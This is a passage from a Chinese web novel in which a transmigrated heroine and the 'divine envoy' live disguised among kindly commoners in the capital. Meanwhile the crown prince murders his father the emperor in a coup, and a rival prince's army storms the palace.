她看他的目光永远坚定又自信,即便跪着,弯着腰,也依旧耀眼如太阳。
太阳是不会因为一时的西落而自卑怯懦,也不会因为狂风暴雨波诡云谲而恐惧畏怯。
因为太阳永远是太阳。
当在雪山之巅,他望着阴沉惨白的天空时,以为世界终于要陷入无尽漆黑。
但太阳却破云而来,向他伸出了手。
紧紧的抓住了他,再也没有松开。
从那一刻起,他便毫无保留的拥向太阳,即便飞蛾扑火,粉身碎骨也在所不惜。
赵玉屿当真是没想到子桑居然那么早就对自己有好感:“那你为什么当初总欺负我?”
子桑眺望远方:“可能是太耀眼了吧,所以一开始想要逃避,甚至毁掉,这样就能让自己继续安然活在黑暗里,到头来却又有一丝舍不得。”
这份不舍渐渐被占有和眷恋所替代,最终成为纠缠入骨的情愫。
赵玉屿被他夸得有些不好意思,扭了扭身子:“我有那么好嘛?”
子桑没有往日的慵懒轻漫,他的目光直视赵玉屿,郑重而坚定:“你是唯一的。”
赵玉屿轻朗道:“子桑,其实我只是一个普通的女孩子。”
子桑想要反驳,赵玉屿覆住他的手制止了他的话,接着道。
“其实我不是赵玉,也不属于这个世界。我叫赵玉屿,是我们那个世界千千万万个普通女孩中的一个。之所以你觉得我耀眼,是因为在我们那里,没有战争、没有压迫,甚至没有皇帝。士农工商皆平等,女人可以上学堂,同男人一样从商从政。婚姻不再是父母之命媒妁之言,男女因为相爱而成亲,不爱了也可以和离。在那里,每一个人都拥有幸福的权力。”
她笑了笑,回想起往日的美好,“正是这样的国家,才造就了你所认识的我。所以子桑,你爱我,并不只是因为我是我,而是因为我所在的环境成就了我。”
她指了指远方圆月下帝都的万家灯火:“他们也一样,这个国家告诉他们,人生来就是皇帝的奴隶,所以他们心甘情愿俯首称臣;皇帝告诉他们你是天神下凡,所以他们视你为图腾。他们的无知不是他们的错,是环境的错。”
“如果你爱他们,让他们能够生活富足,阖家安康,没有战争和恐惧,唯有每日升起的太阳和希望,那他们也会成为我。”
子桑却道:“不,你们不一样。人人皆贪婪,唯独你不一样。”
“你觉得我不一样,是因为我爱你。你觉得他们贪婪丑恶,是因为你从未真正接触过他们。”
赵玉屿抚摸着他的脸庞:“你的童年让你对人性绝望,所以你即便逃出了雪域,心却一直封存在雪域。可你又渴望感受这个世界,所以宁愿将自己封存在世人之外,将自己的温柔和细腻尽数给了飞禽鱼兽。”
她笑着鼓励道,“但其实你只要去接近这世间看一看,就会发现人人皆如我。”
见子桑岐蹙眉不语,赵玉屿眨了眨眼睛:“你不相信对不对?那我们就去看看。”
第112章
“卖包子喽,卖包子喽!热腾腾的包子喽!”
帝都的清晨一如往常的热闹而喧嚣,东市家家铺子已经开张,酒楼摊贩的烟囱蒸笼里冒出白胖胖的蒸汽,悠然飘向半空。
菜贩子们各自吆喝着自创的小调吸引目光,城外刚运进来的瓜果蔬菜还沾染清冽的晨露,看着分外新鲜讨喜。
簪花的姑娘们三三两两挎着菜篮子,身材娇俏面色含光,叽叽喳喳边聊着东家长西家短,边挑着一家子午餐的食材。
有茶客们坐在茶楼的窗户旁闲聊天,瞧着临街拐角处的一户偏僻商户有些好奇道。
“对面那家新开的‘无事斋’是做什么的?我怎么就没见他开过门?”
另一人抻头瞧了一眼:“嗐,是个书斋,开了半个月了,每日都是日上三竿才开门,太阳还没落山就关门了,能在帝都这地段买个铺子又只开半日的,怕又是哪家少爷公子玩票的。”
那茶客深以为然,也不再多问。只有些好奇的时不时朝铺子望上一眼。
等到天色全白,那铺子果真才不紧不慢开了门。
从里面走出来一个姑娘,还拉着一个身材高挑的少年,着急大步朝包子铺走。
“都怪你都怪你,说好了要去吃裕兴斋的包子,你倒好,整日都非得睡到日上三竿才起,豆沙包子都卖完了。吃早餐都赶不上热乎的,今日必须陪我去买包子去!”
那少年任由她拉着,晃晃悠悠跟在她后面,头仰天打了个哈欠,一头乌黑柔顺的长发如绸缎般格外亮眼。
楼上的茶客不由多看了一眼,却感到被一双凌冽的双眼注视着。
仔细一瞧,竟是那少年人的目光。
他虽面容只是清秀普通,但此时微眯着眼睛,目光凌冽冰冷如寒潭。
茶客心中一惊,被那双眼睛一瞥便觉得有些发寒,连忙收了眼,过了许久才缓过来,忍不住再偷偷瞧去,那对少男少女已经走远。
赵玉屿拉着子桑感到包子铺时,外面已经排起了长龙,等轮到她们时,豆沙包子早就卖完了。
子桑见赵玉屿有些失落,从兜里丢出一块金子:“再做一份。”
那店家也是个有骨气的人,拿身前的围裙擦了擦手笑道:“这位少爷大气,只是我们这是百年老店,老祖宗立下的规矩,豆沙包子乃是祖传秘方,一日只做一百个,便是圣上也得托宫中的掌事提前告知才能留。规矩不可破,还请少爷将金子收回去,瞧瞧其他包子有无合口的。”
子桑见他不识抬举,蹙眉正要发火,赵玉屿连忙拉住他的手,将金子收回笑呵呵:“我们夫妻初来乍到,不懂帝都规矩,老板见笑了。这样,要两笼蟹粉小笼,再配上两碗芙蓉粥。”
“好嘞,两位里面请。”
两人进了铺子,子桑瞧着地上的鞋印和泥泞有些嫌弃,落不下脚。
扫堂的笑了笑:“昨晚下了小雨,难免客人们脚上沾些泥泞,二位先坐,我这就打扫。”
赵玉屿知晓子桑有些洁癖,拉着他挑了个靠角落的桌子让小二收拾干净,从小包里取出从家里带出来的碗筷碟子摆好。
子桑有些不理解:“起大早就为了在这吃包子,你若是想吃,差人来买不就行了,何苦在这腌臜地方受累。”
赵玉屿皱了皱鼻子,小声道:“咱们现在可是寻常老百姓,老百姓都是要排队买包子的。”
见子桑不以为然,她倒着醋碟笑了笑:“而且你不觉得,在这里吃饭很轻松吗?”
子桑顺着她的话朝外一瞥,铺子里面吵吵嚷嚷,来客或是大快朵颐,或是闲暇之余边吃边聊。有人匆匆买了包子便上路,有人拎着其他早餐糕点慢慢享用。看起来无比喧闹的小铺,但这份喧闹之下,却似乎能安静到听见自己的心跳。
只要一抬眼,就能看到铺子外面人来人往的街市。有摇尾巴欢快跟着主人奔跑的狗狗,有牵着孩童上学的妇人,有挑着扁担晃晃悠悠而过的小贩,有扛着糖葫芦的走商,还有摇着拨浪鼓追逐打闹的少男少女
在袅袅蒸汽中,清晨的阳光倾洒而下,光影中人来人往,拥挤的门框像是画卷,框住了一副副市井百像图,入眼皆是人间烟火。
*
吃完了饭,赵玉屿同子桑又上街买了些零嘴果脯后回到无事斋。
这铺子她特意选的偏僻,清闲些。
子桑进了屋便大爷般的瘫在躺椅上,猴大他们已经将地上杂乱的书籍画卷重新整理好后撒丫子出去玩了。
瞧着那些书上不小心沾染上的墨迹,赵玉屿面色微红。
她原本是打算带子桑体验真实的百姓生活,便盘下这个铺子。
对外只说神使身体需要闭关准备迎接飞升,对宋承嵘那则透露消息说神使身体日渐虚弱,让他野心渐起。
两人则出了宫,扮上面具隐去容颜,过上大隐隐于市的日子。
只是子桑这丫的自从看了春()宫便跟着了道一般,晚上变着法子玩儿,白天就瘫在铺子里哪也不想去,甚至还想关上门白日宣淫。
昨晚上更是过分,偏要将她压在书案上,在她背上描画作诗。
赵玉屿若是不愿,他便露出那副失落无助的表情,便是知道他是装得,也装得太像了些!让她忍不住心软。
“大妹子,在吗?”
一道嘹亮飒爽的大嗓门从窗外传来。
赵玉屿透过窗户瞧了眼,见是旁边摊子的柳大姐笑呵呵抱着一满袋子东西。
赵玉屿连忙邀请她进来:“柳大姐,有什么事吗?”
“没啥没啥,俺们家不是种了棵柿子树吗,这几日柿子熟了,我给你送些过来。剩下的呀大姐做成柿饼子,过几日再给你送来,咱就不用去外面买啦!”
赵玉屿推脱:“这怎么好意思呢?我们来的这些日子,您已经忙前忙后帮了不少忙了。”
“
哎呀,你就别推脱了。俺家这也不是什么值钱的东西,邻里邻居的日后日子长着呢,这点柿子算什么!”
她将东西塞到赵玉屿怀里,嬉笑眉开:“对了,你们两夫妻刚到帝都没多久,肯定人生地不熟的,这邻里邻居的得多认识,日后相互帮忙日子才好过呀。今日我小女儿回门,大女儿正好也怀孕了,俺男人高兴,晚上摆宴席,邻里邻居们都来,你可别忘了带你家那口子来喝酒,俺家埋了十六年的女儿红宴请大家!”
既是喜事赵玉屿自然不好再推脱,笑道:“好嘞,恭喜柳大姐双喜临门,一瞧您便是个有福气的,日后啊必定孙女孙子承欢膝下,共享天伦!放心,咱们一定到。”
柳大姐听到她这番话,笑得本就胖乎乎的脸挤成一团,眼睛都差点挤没了:“哎呦呦,借你吉言,借你吉言!”
送走柳大姐,赵玉屿扭身望向子桑,子桑正疏疏懒懒靠在摇椅上,双手枕在脑后,百无聊赖地朝嘴里丢了个蜜饯,将核子噗得吐出,精准砸在窗边树上玩耍的猴二红屁股上。
他自然是懒得参加这些宴席的,然而也自然拗不过赵玉屿。
到了傍晚,硬是被赵玉屿拉去了柳大姐家里。
柳大姐一家都是做小生意的,她卖布,丈夫开了个酒铺,给各大酒家送酒水,这些年在帝都也攒了些积蓄,买了一套小院子。
傍晚院子里面已经吵吵嚷嚷,赵玉屿同子桑到的时候邻里邻居已经去了不少。
柳大姐穿着一身喜庆的衣裳,鬓发间簪了朵新鲜的红花,满脸的红润。
柳大姐的丈夫是个清瘦的汉子,此时也是一脸的红光,接待来客入座。
见了两人,柳大姐连忙迎了他们进院子:“哎呦呦,你们可算来了。马上都开席了,俺还以为你们不来了呢。”
赵玉屿将准备的礼物递上含笑道:“柳大姐您家的柿子那么好吃,酒也必定好喝,咱们说什么也得过来喝上一杯。”
“好嘞,大姐就喜欢你这爽快劲,今晚啊让你们喝个够!”
两人入了座,晚宴便也开始了。
因为是回门宴,倒也没什么繁杂的规矩流程,新婚的夫妻给老两口敬了茶,磕了头便也成了礼。
大女儿已经显肚,许是怀了孕,显得更温婉些,夫君像是个教书先生,悉心搀扶着她给岳父岳母也敬了茶后落座。
院里请了乐班子,弹奏了些喜庆的曲子,众人喝了些酒,也起了兴致,附和着曲子尽情唱了起来。
新婚的夫妻有些羞涩,却也是两个开朗的年轻人,拉着几个熟悉的朋友满场转悠,见子桑他们也是对年轻夫妻,便也拉起他们两个到院中间围了个圈随着众人齐齐高唱的调子跳舞。
一曲接着一曲的歌声破开了重重乌云,露出漫天星斗。
曲终人散,宾客们摇摇晃晃散了场。
赵玉屿回去后泡了个澡,许是方才玩闹得尽兴,此时也没什么困意,便点了灯绣起小衣服。
上次给猴大做的盔甲早已丢在海里不见踪影,后来忙忙碌碌这些日子,也没时间再给它做一件。
如今好不容易得了闲,便又动起手来,一来二去也做得差不多了。
夜色愈浓,灯光渐暗,眼睛有些疲惫瞧不清针线,她揉了揉眼睛放下衣服休息片刻,才发现子桑正歪坐在一旁的小榻上一动不动静静望着她。
他早已泡完了澡,发梢带着些水汽,在衣服上晕开的一团团水迹已经微微淡干,也不知这样瞧了她多久。
赵玉屿拢着线笑道:“怎么也不说话?”
她一笑,嘴角的小梨涡绽开,像朦朦胧胧的烛光下开出的花,让他有些晃神。
子桑缓缓道:“我们生个孩子吧。”
赵玉屿指尖顿住,有些诧异地抬头望向他。
子桑瞧着她的眼神似是知道自己说错了话,笑了笑,不再多言,起身进了屋。
“早点休息。”
赵玉屿望着他消失在门后的背影良久,而后垂下眼眸看着摇摇欲坠的微黯烛光却并未解释和挽留。
她想起子桑方才自嘲的一笑,心里有些难受,却知道自己无法承诺什么。
因为他们都知道,即便两个人装得再若无其事,这也是一场注定没有结局的结局。
第113章
翌日,夕阳西落,霞云漫天,一队又一队城防兵匆匆从街道而过,差点掀翻了柳大姐的摊子。
赵玉屿见状,连忙帮柳大姐将散落一地的布匹拾起来。
柳大姐骂骂咧咧拍着布匹上的灰尘:“这帮兵大爷跟不长眼似的,平日里没少给他们供奉,真出了事也不顶用,撞坏了我的摊子也不赔钱!哎呀呀,这可都是刚织好的布匹!”
赵玉屿笑道:“许是有什么急事吧。”
柳大姐听到这话,凑近她压低声音道:“你还真别说,我那二女婿的哥哥是城防营里的伙夫,我听说啊,这最近城防营调动确实频发,或许有大事要发生呢!你们两口子最近晚上还是把门栓好。”
赵玉屿将拾起的布匹摆放好,笑了笑。
柳大姐又宽心道:“不过话又说回来,上面那些大人物的事儿统归跟咱们没关系。如今天下太平,咱们又在帝都,便是打仗也达不到咱们这儿来,有神使大人庇护,咱们这些小老百姓好好过自己的日子就成了。”
赵玉屿问道:“柳大姐,你就这么相信神使会庇护百姓吗?”
柳大姐一拍布匹:“当然,我跟你说啊,前些日子俺男人生了病,城里的大夫能瞧得都瞧过了,没得用,我差点连棺材都给他准备好了。好在神使大人赐下药丸,我拼了老命抢了一颗回来喂给俺男人,你猜怎么着?哎,好了!昨日你不也瞧到了吗,生龙活虎!”
她满足的叹了口气,“可见啊,神使大人是慈悲心肠。只是听闻神使不久便要飞升回天,虽然知道这事好事儿,可一想到一个十几岁的孩子,比我家大妞还小一岁,没爹没娘的在那宫里待了这么多年,也不知道闷不闷,我这心里啊总不是滋味。”
“我跟你说啊,你来帝都迟没瞧见过神使大人。以往咱们见到神使大人都是坐在轿子冰冷冷的,漂亮得真跟那庙里的神仙没两样,就是总觉得有些怕得慌。直到去年一天早晨,我早上瞧见神使大人带着个姑娘在天上飞,将那姑娘丢下来,再接住。你猜怎么着,神使大人笑得嘞可开心了,跟俺家老二恶作剧时笑得一模一样。哎呦喂,当时我就
想啊,果然这神使大人再怎么老成他也是个孩子啊。”
被恶作剧的当事人此时听到这话,也有些感慨。
她望向坐在斋房里逗鸟玩的子桑,知晓他定也听到了这番话。
柳大姐又摆了摆手,“嗐,咱们这些小老百姓在这瞎操心什么呐。哎呦,我锅上蒸得米糕差不多好了,丫头你帮我看会摊子,我回家一趟啊,待会给你送些米糕过来!”
“好嘞。”
赵玉屿目送柳大娘匆匆离开的背影,走回屋里朝子桑笑道:“你看,其实一直有人关心你的。”
子桑轻嗤一声:“无用的关心罢了。”
“柳大姐她只是一个普通人。可这些普通人并非是愚钝麻木的。如柳大姐,如王厨,他们有自己的思想和情感,对人对事总是饱含着温良的善意,这才是千千万万个普通人。”
她捧起子桑的脸:“子桑,这世间不止有龃龉的。你只有认清这点,才能看清自己。”
子桑望向她,他被人皮面具遮盖的面容下是一双饱含复杂情愫的眼。
他很想问赵玉屿,即便他知道这些又如何?他的时间在一点点的流逝,很快就会化为虚无。
他甚至不知道自己死后会去哪,变成什么?
这些对他来说,真的有意义吗?
可话未出口,一切伪装的平静便被名为“天道”的石子打破,再也无法说出口。
猴大荡着树枝从窗口进入无事斋,朝子桑吱吱呀呀比划一通。
许是修炼驭兽心法,赵玉屿如今也或多或少能听懂些猴语。
她诧异的望向子桑:“今晚?”
*
东宫
何附子站在小院里抬头望向宫墙外的天空不知过了多久,感到身后有人搂住她的腰肢。
宋承嵘将头埋在她的肩弯处,轻嗅着她身上独有的药香味,才感到片刻安宁。
何附子有些不适的扭过身子想要脱离他的怀抱,却被宋承嵘按住腰肢桎梏在怀里。
他轻声道:“附子,你放心,一切都要结束了。”
何附子听到这话诧异的望向他:“你要做什么?”
宋承嵘含笑望向她:“做答应你的事。”
他抚摸着何附子鬓角的碎发,柔声道,“等过了今晚,我们之间再无阻碍。”
何附子心下有些不安:“你,你不要做傻事。”
宋承嵘听到这话眼前一亮,欣喜地按着她的肩膀让她面对自己,热切地求证道:“附子,你还是关心我的对吗?我知道,你还是在意我的!”
何附子望向他眉眼,有些心烦意乱:“我只是不希望事情变得糟糕。太子殿下,我虽然不知道你究竟要做什么,可你要做的事情一定是天大的事,你身居高位,每一个决定都可能会影响到万千百姓,还请你三思而后行。”
宋承嵘却有些奇异得望向她,像是在看着一个不谙世事的孩子,而后笑道:“附子,其实我们是一样。你是个大夫,我也是。只是你看到的只有眼前的病症,而我看到的是整个大雍的病症。”
“大雍病了,居然让一个乳臭未干的神棍凌驾于万人之上!父皇也病了,成日沉溺于修仙问道,早已不是当年那个雄霸中原的英主!如今外面蛮夷虎视眈眈,内里群臣却痴迷炼丹求道,无人作为!这样的大雍早已病入膏肓,若是不能根治,大雍早晚要葬送在那妖道手中!”
提到子桑鸓,宋承嵘眼中压抑着愤怒:“我要改变这一切,让大雍重新成为一头雄狮,威震四海,让四方臣服,万国来朝!”
他眼中的野心让何附子心惊:“你要篡位?”
“这皇位本就是我的,我不过是顺应民意,登基为帝。”
“可是圣上龙体安康。”
“我说了,他早就病了!”
宋承嵘怒道,“他如今不过是着了妖道的道,不,他被妖道附了身而已。一个整日匍匐在神使脚下的皇帝,要他有何用?!”
何附子彻底震惊了:“你要杀父弑君?!”
“成者为王败者为寇,若我称帝,史书便是我来执笔。”
“可他是你父皇,他待你不薄啊”
“那是以前!”
宋承嵘咬牙道,“自从他吃了妖丹,便像变了一个人一般,处处提防我,怀疑我。我这个太子,便是个笑话!”
他愤怒的拳头砸向石桌,手指关节擦出血色。
何附子握住他的手:“你受伤了。”
覆在手上的温度像一滴微凉的泉水让他满心的怒火熄灭。
宋承嵘反握住她的手,柔声道:“附子,你放心,一切我都安排妥当,等过了今晚,你会是我唯一的皇后。”
何附子不语,从袖子里掏出金疮药和手帕,为他细细包扎好伤口,而后依旧问道。
“那太子妃呢?”
宋承嵘含笑道:“太子妃自有她的去处。”
何附子动作一顿,而后将手帕包扎好:“我等你回来。”
第114章
月黑风高,乌云密布,帝都笼罩在一片伸手不见五指的漆黑之中。成群的乌鸦盘旋在皇宫上空,喑哑难听的重重鸣叫像是铺展开的悼联。
承乾宫内,德仁帝饮下药酒,正待休息。
神使所赐的安神香被点燃,不一会儿一股清软之气飘散在床帷之间,让人身心皆轻。
德仁帝睡了一会儿,却又突然从睡梦中惊醒。
梦里,依旧是嗜血宝剑,白骨龙椅。年轻的太子拎着他的头颅,和他几分相似的面容盯着自己,阴惨惨地笑了起来。
德仁帝猛然惊醒,捂着发颤的胸口不停喘息。摸了摸额头,才发现早已满头虚汗。
他看着暖香浮动的奢华床帷,才感到一丝安稳。
这些日子不知为何他总是心虚不宁,身心皆惫。这让德仁帝从心底生出无尽的惶恐。
那种生命随着岁月逐渐流逝,心有余而力不足的感觉时隔多日再次呼啸着涌上,排山倒海般将他淹没。
人一旦得到过美好便不愿失去,更何况是失而复得后再次失去。
这种窒息的失衡感和恐惧无时无刻不在拉扯、碾压、蹂躏着神经,最终将人活生生的撕裂。
他想要见到神使,只要有神使在,他便感到心安。
神使无所不能,总能满足他一切的心愿!
只要有神使在,只要有神使在,他就能长生不老,青春永驻!
对,神使!神使!
德仁帝突然高喊道:“来人,快来人!”
许士君听到喊话连忙碎步进了内殿,颔首回道:“圣上,神使近日正在闭关,算算日子,明日便能出关了。”
德仁帝这才想起来,喃喃自语:“对,神使在闭关,神使,神使要飞升了。朕什么时候才能飞升,才能长生不老啊?!”
暖香浮动间,他忽然捂住心脏英俊的眉眼蹙起:“许士君,朕最近总觉得全身没有力气,心脏时不时有些刺痛,喘不过来气。”
许士君扶着他的胳膊:“圣上,许是您最近有些劳累。”
许士君一把抓住他的手腕,青筋暴起,面色阴翳,目光死死盯着前方虚无,像是在看着什么人:“你说,是不是上次那毒深入骨髓,尚未完全消解。”
许士君心中一惊,连忙垂首道:“奴婢不会医术、不知缘由,只是圣上您身体不适更需要多加休养,待明日神使出关,想来便知道了。神使仙术了得,定然能让圣上无恙。”
德仁帝苍白的面色愈加阴沉:“你也是这么想得,对吧。那孩子平日里待朕看似亲近孝顺,可却伺机陷害于朕,朕几次三番给他机会,他却不知悔改。”
许士君听到这话面色一变,低声惊道:“圣上”
德仁帝却似乎听不到他的话,双眼通红陷入了一种沉浸的疯狂,低声怪笑道:“呵呵,他以前待朕尊敬,不过是因为朕立他为太子,所以想要等朕去后继承大统而已。如今见朕返老回春,便耐不住性子了,耐不住性子了”
“圣上”
“如今神使还在,那以后呢?仙丹不敌刀锋之利,蛊毒之烈。若神使离开之后,那狼崽子再下毒,朕该如何是好,如何是好?!”
德仁帝突然推开他,跌跌撞撞得想要下床,“来人,来人,朕要废太子,废太子!”
许士君见他冲动之下竟然要废太子,连忙上前搀扶住他安抚道:“圣上,您太过劳累了。”
德仁帝这些日子总是阴翳易怒,时不时说些奇怪诡异的话语,又是看着某个方向阴沉沉的狠笑,许士君早已习惯。
原本以为这次依旧是噩梦惊醒后的短暂失神,没想到德仁帝却并不理会,一把推开他,赤脚踩在地上高声喊道。
“来人,来人!”
不一会儿,殿门便被打开了。
一道清脆的脚步声一声一声不紧不慢的传来,撩起帘帐,走进的内殿,露出一张和德仁帝有三份相似的英俊的脸。
“这么晚了,父皇是要召见谁?”
德仁帝看到他的瞬间眼中刹那的惊慌,但老豹般的直觉让他立刻掩盖住那丝惊慌,厉声斥责:“这么晚了,你为何出现在此?!还不退下!”
许士君看到宋承嵘也是一惊。
宋承嵘此时一身盔甲,银色的甲片在烛光下泛出锃亮的冷光,像是一把直逼心头的弯刀。
“太子殿下,您这是作何?承乾宫内不准披甲执锐的啊!”
宋承嵘却并未一如往常的诚惶诚
恐,而是不紧不慢抽出腰间的长剑立于身前抚拭,剑身掠过的寒光映衬出他面部表情的冷峻神色。
“是吗?”他道,“儿臣只是听到了父皇的传召,以为有贼人刺杀父皇,所以情急之下前来救驾。”
“荒唐!皇宫戒备森严,何来贼人!”德仁帝凤眼微眯,冷冽道,“怎么,难不成你想当那乱臣贼子不成!”
宋承嵘却回以轻笑:“成王败寇,当初父皇以武将之身雄霸天下,不也是逆了朝纲,盗取了后周武帝的天下。若说乱臣贼子,父皇也不逞多让。”
“放肆!!!你竟然敢对朕出言不逊!!!”
以臣子身份夺得天下一直是德仁帝心中的一道疤痕,如今被自己的儿子赤裸裸撕开嘲讽,他心中恼怒至甚,更是心烦气乱,甚至忘记了宋承嵘手中长剑,挥舞着衣袖高喊道:“来人,来人!快来人!将这乱臣贼子给朕拉下去!拉下去!来人,来人啊!!!咳咳咳!!!”
喊到最后声音嘶哑,撕心裂肺,然而大殿外却没有一人回应。
德仁帝捂住心脏,手掌因为攥紧胸口的衣服而青筋暴起,像是苍白的鬼爪。
宋承嵘静静站在他面前看着他,面若讥笑:“父皇想要召见谁?那个乳臭未干的小子吗?可惜了,他此时怕是已经‘飞升’了。”
德仁帝瞳孔猛缩,指着他道:“你做了什么?!”
“儿臣不过是在摘星楼点了一把火,帮助神使归天罢了。”
“你,你!大逆不道,大逆不道!”
德仁帝突然暴怒,一把推开许士君,顾不得心头窒息刺痛,抄起一旁桌子上的烛台朝宋承嵘砸去。
宋承嵘稍稍偏头,躲过一击。
咣当!
烛台砸在地上发出巨大声响,引来外面值守的护卫询问。
“太子殿下,您没事吧?”
“无碍。”
宋承嵘摸了摸被烛台擦伤的眉角,滚烫的烛台将眉角那块皮肤烧得通红。
他望向满目猩红和怨毒的德仁帝,轻轻笑了笑:“父皇,儿臣若是自己从未想动您,您相信吗?”
德仁帝森冷一笑,指着殿外苍然道:“这殿外,还有朕的人吗。”
宋承嵘淡淡道:“父皇是一国之君、天下之主,这天下都是父皇的臣民,儿臣的人,自然也是父皇的人。只要父皇召告天下退位让贤。父皇依旧是高高在上的太上皇。”
“痴心妄想!”德仁帝道,“只要朕不发圣旨,你便是坐上这皇位又如何,乱臣贼子,弑父篡位,谋逆犯上,这些罪名你这辈子都逃脱不了,遗臭万年,遗臭万年哈哈哈哈哈哈!”
宋承嵘平静的听着这些话,将长剑点地,忽然问道:“父皇,当初儿臣被戎狄暗算流落民间,您着急过吗?”
德仁帝没想到他突然说起这个,愣住片刻。
宋承嵘接着道:“您小时候抱着儿臣,手把手教会儿臣写下‘天下之君’四字,自那之后,儿臣便发誓要向父皇一样成为名垂千古的一代明君。可您呢?您却终日沉迷炼丹问道,不问国事。如今更是对儿臣疑心深重,疏远忠义!”
“父皇,您老了。有心无力便该服老,强求长生不过是黄粱美梦。那所谓神使不过是个会些邪门歪道的神棍,连自己都救不了,如何能救世人?这世上能救天下的,唯有我宋家人。以前是您,如今,是我。”
“你要如何?”
宋承嵘缓缓道:“儿臣会昭告天下,先帝服用长生不老药后毒发,神使意图谋害圣上,阴谋败露畏罪自焚,奉仙宫众人一律斩杀,片甲不留。”
“乱臣贼子,乱臣贼子!”
宋承嵘叹了口气:“父皇,儿臣不过是为了天下百姓。若为此要在史书上被唾弃,儿臣甘之如饴。”
德仁帝听到这话突然狂笑起来,笑得喘不过气,笑得捂着胸口咳嗽不止,而后颤抖着指尖指着宋承嵘道:“你是朕的种,这世上没人比朕清楚你。为了天下百姓?哈哈哈哈哈哈哈,你不过是为了自己的利欲熏心罢了!九五之尊,天下之主,多少人梦寐以求的宝座,你若不是朕的儿子,你也配!你也配!”
宋承嵘被堂而皇之的点破心思,望着德仁帝毫不掩饰的鄙夷嘲讽,猛然挥刀。
寒光乍现,德仁帝的脖间一道血痕炸开,迸发出的血浆喷洒满地,溅射到宋承嵘的脸上,将他的半边脸染成猩红。
这一切不过一瞬之间,许士君望着吓得跌坐在地上双腿发抖。
宋承嵘漫不经心地将剑上的血迹擦拭干净:“给父皇换上件干净的衣服,该怎么做,你应该清楚。”
许士君擦了擦额头上豆大的汗珠,抖着手匍匐在地:“是,圣上放心,奴婢知道。”
听到离去的脚步声,许士君才缓缓松了口气,抬起头便看到近在眼前的德仁帝。
那张英俊的脸庞苍白无血色,脖间的献血却顺流而下染红了衣襟和地板。那双剑眉星目的眼睛瞪得极大,死死凝望着屋顶,永远停留在生前那怨毒而又不可置信的一刻。
许士君伸出手,颤抖着将德仁帝的眼睛阖上。
掏出洁白的手帕,为他擦去脸庞上的血迹。
幼虎已成,这便是这位英武君王的一生了。
第115章
承乾殿的殿门缓缓打开,露出一张冷峻的剑眉星目的脸。
殿外已经站满了手持长刀的禁卫军,空气中一片血腥,是方才夜袭的见证。
宋承嵘望着眼前这些面色浸润在黑暗中的侍卫。
这些年他养精蓄锐,囤兵积粮,早已将部分宫防重兵都换成了自己人。
今夜子时换防,他的人换到崇化宫门,悄然将伪装成禁卫军的私兵引入皇宫,不费吹灰之力便攻入了承乾宫。
如今,先帝已逝,神使已死,他便是真正的天下之主。
宋承嵘的手在无人可见处止不住的轻颤。
天下之主,天下之主!
他隐忍这么多年,总算是将碍眼的人一夕歼灭,从此之后,普天之下尽归他所有!
再也不用匍匐在他人脚下,再也不用担惊受怕那太子之位岌岌可危,再也不用恐慌一朝落马,跌入尘泥。
从今夜起,他将是这天底下最尊贵的人!
宋承嵘仰头长舒一口气,闻到空气中的血腥味满足而又有些莫名的空落和不安。
只是今夜这一切太过顺利了,顺利到让他以为自己在梦中沉醉。
宋承嵘压下心中的不安,宽慰想到,这梦做了这么多年,也该成真。
“报——太子殿下,有敌袭!城南有一队兵马闯入,圣上有难,要清洗逆党,护卫圣上!”
“报——汝南王已突破城防,现在正在向皇宫袭来!”
“报——汝南王率军已率军包围皇宫,正从靖康门袭来!”
“报——”
“报——”
接二连三的情报让宋承嵘心中猛惊,那股莫名的不安顿时被无限放大。
他今夜的计划筹谋已久,不可能走漏风声,汝南王怎么会那么巧赶到帝都,又如何能在这么短的时间内突破城防包围皇宫?!
这不可能!
事已至此,若是让人发现先帝已死,那他便当真名不正言不顺。
胜者为王败者为寇,今夜必定要将谋逆叛军的罪名按在汝南王身上!
宋承嵘心中惊悸,面上却不显,抽出长剑冷声道:“汝南王意图谋逆,诸位,随我平定叛乱!”
“是!”
“碰——”
“碰————”
重物撞击宫门的声音犹如一声又一声敲响的丧钟,在混沌浓夜中响彻云霄。
“糟了,城门防不住了,快,快撤!”
“怎么会有这么多军队,他们到底是从哪冒出来的!”
“他们杀进来了,快跑,快跑!”
“杀——————”
乱哄哄、嘈杂、纷扰,刀剑刺穿皮肉、盔甲倒地、血肉相搏、撕心裂肺的喊叫声像是断线的珠帘哗啦啦倾盆暴雨般铺洒一地。在浓郁黑夜中,在帝都家家户户紧闭的门窗映衬下,在百姓们蜷缩相依的瑟瑟等待中,一波又一波的叛军冲入皇宫,刀光剑影间,鲜血喷洒在黑沉沉的宫门之上。
汝南王立于马上,望着被攻破的宫门,一双鹰眼在幽幽火光下尽是外露的野心。
他苦心经营这么多年,总算是等到今天。
当初他暗地联络裴家那小子密会却未曾赴约,他还以为那小子怕了。
没想到后来裴家那小子又主动联系了他,愿意帮助他打开城门,但要他立誓三不得。
不得在城中侵扰百姓,烧杀抢掠。
不得诛杀朝中大臣,皇宫侍从。
不得伤害奉仙宫众人。
以此保帝都安定如常。
汝南王自然满口答应,成大事者不拘小节,一夜隐忍而已,直取皇位才是关键。
等过了今夜,天下都是他的,到时候他要做什么也由不得旁人指手画脚。
原本帝都坚若磐石,攻破城防需要耗费些时间,没想到裴家那小子当真得力,不出一炷香他们就已经抵达皇宫。
看着宫门上这些溃不成军的禁卫军,汝南王志在必得,夹紧马肚入了宫门。
“杀!”
*
两兵相见,生死之斗。
黑漆漆的夜幕下尽是兵器碰撞的厮杀之声,一时之间竟不分上下,僵持在宫道之间。
厮杀声透过宫墙隐隐传入东宫之中。
何附子听到声音,起身想要去查看,却被守卫拦住。
“姑娘,太子殿下吩咐,您不得外出。”
“外面好像很吵。”
守卫却不为所动:“请姑娘回屋。”
何附子见他冷面不动,只得听话回了屋子。
不一会儿,屋子里传来一声花瓶碎片的声音和女人的呼救声:“救命啊!”
守卫连忙推门查看,下一刻却闷哼一声,捂着脑袋昏死在地。
何附子放下手中的烛台,简单检查了下守卫的伤势,见并无大碍后当即起身离开。
她未曾进宫几次,只知道从正光门出去的宫路。
但此时那边已经火光漫天,想来并不安全。
何附子便想着先避开人群,却不料遇到了一队满身是血的士兵。
她连忙朝后躲去,却被发现了踪迹。
“什么人在那!”
何附子慌忙跑回了东宫,掐穴将昏死过去的士兵唤起。
“快醒醒,快走,敌军来了,快走!”
那队士兵很快就杀入了东宫,一时之间哭喊尖叫连连。
“快醒醒,快醒醒啊!”
士兵捂着脑袋缓缓醒来,昏昏沉沉间一眼便看见敌军攻入东宫,连忙将何附子朝后一推,喊道:“姑娘快走!”
